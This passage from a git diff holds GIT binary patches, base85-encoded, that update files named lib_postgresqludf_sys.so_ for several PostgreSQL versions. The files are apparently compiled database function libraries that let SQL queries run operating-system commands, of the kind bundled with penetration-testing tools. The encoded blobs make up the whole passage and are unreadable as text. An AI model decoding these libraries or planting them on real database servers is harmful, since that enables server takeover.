z{r2Yn0%O`Fb2NGX+)1ee@co2Rypur>>1x$593SocOora_O>t@n(2Y*9g@d&$vAk}x!c;{@OgnstWZUY<%yu+tKN)Bui(iocxCOCuxaCtR-V0~$*UDRxU>o0O z>@VzVFn4%}wYT^eK`$l7kpDU!=NjmlfJn0WPtnVYjs*8jnU$NMf#m)?5#G$zfr5ZS z6bzz7fmkpSgsRVO6-j|!f}gxt2xhWcHP}^=CZkdJ5Up8)FU>I03?l%UouD46X0YaE z5D@RSITY}zP~s=ntk_E)?Lf<$N$l5^OCe{IzpME%6<8~W-rAvAS{=*DgG&t3T+Aa1 z4kIo*;F~Kl>vAnrrL!EH1vycS98sdbmv>Kv70rZ)EuOTd;cWVu3;U}#Q3E>Ft%%G9 zmmZ=OW;Fr=F7)CjuRHxgr20@#jH8ljs^ZEuHSRr`1LXNiP7aWpeEzI%hym(M)NS8= z1HlVND!^gFn6rzxoPo+l)^(~tPaRt3UvM7oRukg%xq%)bP8OH{)+_ylo;%_w0YR|gcN8tQ ziXSK6B0Do6QCIRH2xn&(PEV`S)=!k(NBCF(`(d7XcXrXqHq#T?1 zTImhkf6mNS{C67@MPiLfc|i|4$3uvOs>>_2gH2(U*`vLgkaE+BKxbH&zL3{;>($>< zXobYiq56}wP?>bECxT+@Cj#e`bZFDmb*&Lt?PjgNZg-cx{a@XV+7r=75N#ogFP@+Y ziOk~gg}$-g_UW^ThQK!u*MK0kn)R+4J#rq^!G7uN=s$RU2S}A z;NQBD!!xdzm`!wlZ&nn+dY>~ xA3$1uSLbUcGLBkdvnuBR?+4~`_MI(EaT19^<00ot39l*_9#xsQ*L+(GlFVhdE|mZP literal 2639 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 diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ index 9d4ac61a47f3ddb4d1160b30598633f4257853fa..103d3d8c044ccf2c437690c0882aac043f4cbcc7 100644 GIT binary patch literal 2640 zcmV-W3a|Aw)3+ZQCV9JlkI_6A^BD(BOLS0e2LV`u5}bd_Rui_ty4$sf)>gAjNOEKzyZta5ro03!=QVQq9`- zWC0L3tVxl=iZCtOMEU-zKCP(C?aC1G9Jz=QQ`0_+pJZ$v#=b!O$UhEQ`fli+2&MK_qCRZ2vQPX} znmm=t%$4KK(T%Evg|M15`?-{=MM&;*2TtkfOg$rS_2@N6}zu!aoOUa$u7^T~oE}w=x; zQj@4}%3PiO0*fCM%_bLf==BVQ$VZ^~H_6anqa{EqY5Luai9KTvaR*5)gZ!sax>KJC z%K(7e^V3G~wRfg)qWxJHF}b%Y&Q~i#zrsocN+SYmZrF$K>@^uhG*NS{hOM((FQAu7 zf=a#qLy|k0DLTL0v%Gy8t(T|Dd^x;mI&he5RkxFO(>s?E=sRF}gWvK|@N5G~krsE1 z8ogBLwrUTllaYLOrt2W$Iimy0`5vWLhUAxOS?j0!!nLi2-en4$VBI@1^?12q}!`p#H}Wp~)NzJaT1&nei@Py+1Q(^T*# z%s0%gWe;ktHXt5cx@;wt$JI&vwx%sXqn{X^qn3k;7DOS3u3`Z$o3V3|OJ(6Cs(Ry?kWA@}B?xF;F-4s;DVHp5Pea^Hcy|Gm5(5xkGg#?bz zRPCf`y`Qbo10rd*?!@H7qNUM=Idy?vNAxEX421pOmy_<0jcfZfZb#^hLk|S0 zrn0nk(HTBWw|3&9rO-=W{Luf!|IK!i&L&sfA+05Ti>^0tfW;*Pv$n68*89!GZK!yP ztAIb@v8A1H^Q^1L3Xm7k2qL&`iK*iVo-y&iz~=9f37wd)9R%-y#7{oW4YTDt2SLLvmoo-2IIl4nEk>3#_Ia(>86+EY8YQ zAgio`zk^rlLSV8u(ppW}dtu3*WXQU63<@t5G=D=7cI!Bl6oCkb6wI)#13GY0Y}}Z= z9eJC3f!z|t87M-PVrTge@uSiWNcAjL7Q|cf#n$ zl{#k&k$}NKE+9_X8zljXbAX!vVdZ7ywzQ{jy_mz=Bj;D*afwz^wLYlaeLZ2eT^HpN zN(tKq$p-H@DEkIFehw+Q@dsJwz7v(HsoObL8Ew zAEOY+_zxFABhw!!6j1(3+k)uPPA1rsZ$_~sg0J^T9| zV(n$O$2>EbIsl@g!T>d3=xs8O&N1C~&OtQTyu^~seRmrRX`2rh zq)E}LU%~R={YNeRf-8sj;WhaVv0;$Afmo5_Dl6h$Fvp5g@U3A4ZKd&2V=j? zfn4d2wBHf?a0t=_#FGG1Nm*nt@1gWR7PioJtjRwgU-h>_LVwB=CHR(y_UTwmW{tRh z+GNu|EWWr712V4_Z@1>=;QKaBYql?axtb zLusJnTlEGgTZ!fX*xjmL4ZKZ!aEbDbxi66pB42L@^5B8N8USM5SF$7J0c(b!Ft$7a z#LPOq^9`Z6DQE;4(D2|uM%a738j1t~8J%x{I)#Aql!~{^3ue1?oFt0 zh;2mE4*;tfG4ZDnj%+O#U{I8c&J96_cl?{&@G!U%F{sG=@LYIqs&tg_(R#7$GH6TV zj4n2!AxD%d!S1;LW}81Vl$vq!OxEX@*jR`~n57^zt#%0jUsrfmexZZd?}^^tO)J$_+-j4`Ip%bg7lnhz z5s=}3Y^v7xuQ?vKZDg@(;USSD#r{lw9lg6-Gu=(|%gCR$TXz&p7cv5k-eRfDh+C@3 z^IWv@nb?^PZWx}FNXvX7p1~GEvh^;dj>1Y9*))N>{1TfD-+NaAN&X+rza4iSAWqdwmV}MR@AYPn!HrxDloe22R$xm8drD7 z!XIP1EB}*zkV^_o!E(up$_z|9PNkJpw=TsCfEM(n;Dcr|EdG6FMxHE0Ocpk z;AsN6*pl-_(8cqp7jDH;AfKa6+uh&$S+^9u^@R^%4xM7ChlNkp> y4>LARLSB7eGIvH`Jw(TQ%q+!!*0gK(F$Ngpa%sm?SC94R_m{aCs=Qez@Rz)ZV=cP? literal 2640 zcmV-W3a|A#`G_q8M|-$z(ftWVrDjyqQ({L%c3m zGD2(j^NFt65K4@&-}uPgY!@r)OB`({`S1IpkXbjl6z2#lHI_xVu%T!fTSxbe%6X*w zGm)!(lyIo5RQqTf=NTnxiT4kdmTQ%%VY#PJi5hY;2>9Nf*AZ4;CwD#~sl$~>+fkew zl`OT2rK2(bpGcHx!~a?ZZNI1OC?T|=I`{&TbRtAo7TXLIz3!A1Ug-hTa!UR%a;@$B>u0S>z$7TS7 zFoI_B*Jup8&Amw{@S9id6Pz*Am>i}>*vO(g51Y{R&eszoGqZV8cHh=GzN-8XNU<)% zYF@5r$J|}C+XE#2$0}r1wWS7(KJvLgxG2BRy!p!TAI_=8x(lU*bh>N5=NSLBaYZ^0 zz6_b}C(~t4u~$4SOhueS6B!rhn;@In99Sw7DjPeZDo~%iFbPhRG6IJNQa1FWj39*3 zq!ahKTv^KHQ?rTC9N)G-&e4q|5bP>HVmBK8q~dMYGY7A^l)jmBt}ENZ4ldb?g(Qb5 z<_P|`1Py7wXbb_q?Xm|*YtFx=GgE!Y%@Xgr%9uBHurS4K^5bQmW<1M*D&OW2`n#{P zWV;FSad^RnlmZdHo{6vW0VXfk_J1S$dFbr+*cf}%hlA!X%S+Mi7Tv@#@j#op#s(%6c}Y5$5WnD|2U% z6{P6qBXqM4rz>-|CP5v2`wA?vnLw5h37hBks2aBjSN{>%k-B`jZ!Q+jm$DIHs{jwCcBwS-ke^wp+{6H2p3CiWx&QmDv}!Q+{qr&P%;4@K*q9V0RL z@WR7-`z8!k)^y>p`}}?ns-TF<)$&A(uOw8?e}ND$-QGZds`?ii(zL9Kh}Za)JJ=6} zfxiv-(5Iebt$?1HT;O2dA{~l!=&Rrwz#YWymX?^FBciIddr+&up?ymS2OK7P247QkB=^<;8lQ z)tf#B)rCN;lYJ?p(nh{*wYVWe%FZ)#07+4zB5-5Wg3-85SWd6sA(NB>vNUeoa^n95 zcH7&HmAqx}BVw^CjCOd5EfKzvPWOmvZ3rv}YEyPWAe&E{KE67hbr^v+znJ>Poc`BfWRlC>i;nq~Q)67H(%C3NT>1D9 zJi$=rkxWFF5I>N+qXIT^wm}Epm_e#}(7Khl`&eS~DvvJhfBN6j%mr(&Y z#Y@t-0qw`Jt2bKms1&vCfH(Ro7t=eUH2OPJ3Z0BMmr3?onV2A%)AH2?Cxd*=W?{VE z-*DXC;;&}(S~uVwrI7KMoEeqqj73(p}%Vn5aw&J9lQ8br`tcwvCE5@>!AaeCht)Ff~la|5WhMuwk7c z-W@aCB|n(}Q1he%&_EbQHX!4KzNJI!ELfIG-r0!c>OqIXil-(rIM#3lP}fCsuJF|klHVm? z1+@>M%sdakz4am0@@KkS`KKc$^IAMn2`3L(RGzWHj*H#Q69?c2iW=m_6WKmQr}MDmE@}D4F_XGGD9h{FLhh^6dQYy zjjX4)Pxhk(-zy=1sGX#c6O& yB@6^qBV2w>Y+G|NYc#NQ<`eg3x3*~HZz?UaBpI+=eXz&zmX*2+^pI?JrsvD64kDWX diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ index e68237f32812644f1cb0e2a870aebd23ca9f7001..d70067011b7c60bb4ba60742d8e02e240661ae26 100644 GIT binary patch literal 2632 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 literal 2633 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 diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 